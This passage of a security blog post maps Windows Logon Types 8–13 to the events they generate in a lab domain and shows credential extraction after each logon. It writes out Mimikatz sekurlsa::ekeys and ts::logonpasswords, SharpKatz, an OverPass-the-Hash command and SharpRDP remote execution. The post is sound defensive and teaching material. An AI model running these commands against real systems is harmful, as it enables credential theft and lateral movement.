Logon Type 8 event is generated when user credentials are passed in cleartext to the authentication package. There are multiple use cases where we can see the Logon Type 8 event is generated like while using IIS (Internet Information Services) Basic Authentication, using SSH (Secure Shell Protocol), or by using FTP (File Transfer Protocol) for authentication.
For demonstration purposes, we will use SSH & FTP services.
SSH is known as Secure Shell or Secure Socket Shell. It is a network protocol that helps users to gain access to the remote machine.
We can see in the below screenshot that we have used Student66 user to authenticate to the remote machine.
Once we gain access to the remote machine using SSH, we can see in the below screenshot that Logon Type 8 event gets generated
FTP is a file transfer protocol that is used for transferring files. We will use Student66 user to authenticate to the remote FTP service.
Once we authenticate to the FTP service, we can see in the below screenshot that the Logon Type 8 event gets generated.
Using Mimikatz
We can use the below mentioned Mimikatz commands for extracting the credentials.
privilege::debug
sekurlsa::ekeys
Using Pypykatz
We can use the below mentioned Pypykatz commands for extracting the credentials.
Using Sharpkatz
We can use the below mentioned Sharpkatz commands for extracting the credentials.
SharpKatz.exe --Command ekeys
Logon Type 9 : NewCredentials
Logon Type 9 event is generated when a user leverages RunAs command with /netonly option to start a program. It will create a new logon session with the same local identity but with different credentials. This is ideally used for access network resources with a different user.
For our demonstration, we will use administrator user with the RunAs command and start a new CMD process.
runas /netonly /user:dcorp\administrator cmd
In the above screenshot, we can see that without using RunAs we are not able to access the shared folder on the DC, but after starting the new CMD console by leveraging the RunAs command we can access the same as it is leveraging the administrator user privileges. But in the new CMD console, the output for the whoami command is still shown as «Student66».
Using Mimikatz
We can use the below mentioned Mimikatz commands for extracting the credentials.
privilege::debug
sekurlsa::ekeys
Using Pypykatz
We can use the below mentioned Pypykatz commands for extracting the credentials.
Using Sharpkatz
We can use the below mentioned Sharpkatz commands for extracting the credentials.
SharpKatz.exe --Command ekeys
OverPass-the-Hash attack
Logon Type 9 event is also generated when we perform the OverPass-the-Hash attack. In this attack, we can use the NT hash to request the Kerberos TGT for a different user
For demonstration purposes, we will use Mimikatz to perform the OverPass-the-Hash attack and spawn the CMD process.
Note: We can also leverage the AES keys for performing OverPass-the-Hash attack.
privilege::debug
sekurlsa::pth /user:administrator /domain:dcorp /ntlm:afxxxxx /run:cmd.exe
Once we perform the OverPass-the-Hash attack, we can see in the below screenshot that it has generated a Logon Type 9 event.
Logon Type 10 : RemoteInteractive
As per Microsoft docs «The Microsoft Remote Desktop Protocol (RDP) provides remote display and input capabilities over network connections for Windows-based applications running on a server. RDP is designed to support different types of network topologies and multiple LAN protocols.»
We will use Windows built-in utility Remote Desktop Connection (mstsc) & xfreerdp from Linux to connect our remote machine for demo.
Additionally, we will also use a tool known as SharpRDP. It is a console application written in C# for connecting to the remote machine using RDP.
Let’s first connect with Remote Desktop Connection (mstsc) utility to the remote machine.
We can see in the below screenshot that the Logon Type 10 event gets generated when we logon via RDP.
To use xfreerdp from a Linux machine, we need to install the xfreerdp tool. We will be using Kali Linux for our demo.
sudo apt-get install freerdp-x11
Once we install xfreerdp, we can gain RDP access to the remote machine using the following command:
xfreerdp /u:student66 /d:dollarcorp.moneycorp.local /p:Esxxxxxxxxxxx /v:172.16.100.66
Once we authenticate to the remote machine using xfreerdp, we can see the below screenshot that it has generated Logon Type 10 event.
Now, let’s use SharpRDP to connect to the remote machine. We can use the following command to execute the calculator on the remote machine.
.\SharpRDP.exe computername=172.16.100.66 command="calc" username=dcorp\student66 password=Esvxxxxxx
In the above screenshot, we can see that the SharpRDP has spawned the calculator application on the remote machine. We can see in the below screenshot that it has generated a Logon Type 10 event.
Now, let’s see if we can extract the credentials from the memory.
Using Mimikatz
We can use the below mentioned Mimikatz commands for extracting the credentials.
privilege::debug
sekurlsa::ekeys
Mimikatz also contains an additional terminal service module that can help us to extract the credentials in cleartext from an RDP logon.
privilege::debug
ts::logonpasswords
Using Pypykatz
We can use the below mentioned Pypykatz commands for extracting the credentials.
Using Sharpkatz
We can use the below mentioned Sharpkatz commands for extracting the credentials.
SharpKatz.exe --Command ekeys
Logon Type 11 : CachedInteractive
Logon Type 11 event is generated when a user login to the machine via console and the credentials are validated through cached credentials means either the user is not connected to the organizational network or the domain controller is not reachable. Windows support logon using cached credentials for roaming users to make their life easy when they are disconnected from the organizational network.
For our demonstration, we have modified the DNS setting on the machine and tried to logon to the machine so that the machine validates the credentials from the cache instead of a domain controller. We can see in the below screenshot that it has generated a Logon Type 11 event.
Using Mimikatz
We can use the below mentioned Mimikatz commands for extracting the credentials.
privilege::debug
sekurlsa::ekeys
Using Pypykatz
We can use the below mentioned Pypykatz commands for extracting the credentials.
Using Sharpkatz
We can use the below mentioned Sharpkatz commands for extracting the credentials.
SharpKatz.exe --Command ekeys
Logon Type 12 : CachedRemoteInteractive
Logon Type 12 event is generated when a user login to the machine remotely via RDP (using Remote Desktop or Terminal Service or Remote Assistance) and the credentials are validated through cached credentials means either the user is not connected to the organizational network or the domain controller is not reachable. Windows support logon using cached credentials for roaming users to make their life easy when they are disconnected from the organizational network.
For our demonstration, we have modified the DNS setting on the machine and tried to logon to the machine so that the machine validates the credentials from the cache instead of a domain controller. We can see in the below screenshot that it has generated a Logon Type 12 event.
Note: We were not able to extract the credentials for the CachedRemoteInteractive logon type.
Logon Type 13 : CachedUnlocked
Logon Type 13 event is generated when a user tries to unlock a locked machine and the credentials are validated through cached credentials means either the user is not connected to the organizational network or the domain controller is not reachable. Windows support logon using cached credentials for roaming users to make their life easy when they are disconnected from the organizational network.
Note: We were not able to replicate the event in our lab.
References
Feel free to provide me the feedback on twitter @chiragsavla94
Thanks for reading the post.
Special thanks to all my friends who help / supported / motivated me for writing blogs. 🙏
Posted by:
Chirag Savla
Senior Security Researcher at AlteredSecurity
Co-Author:
Anas Jamal
Interned at AlteredSecurity
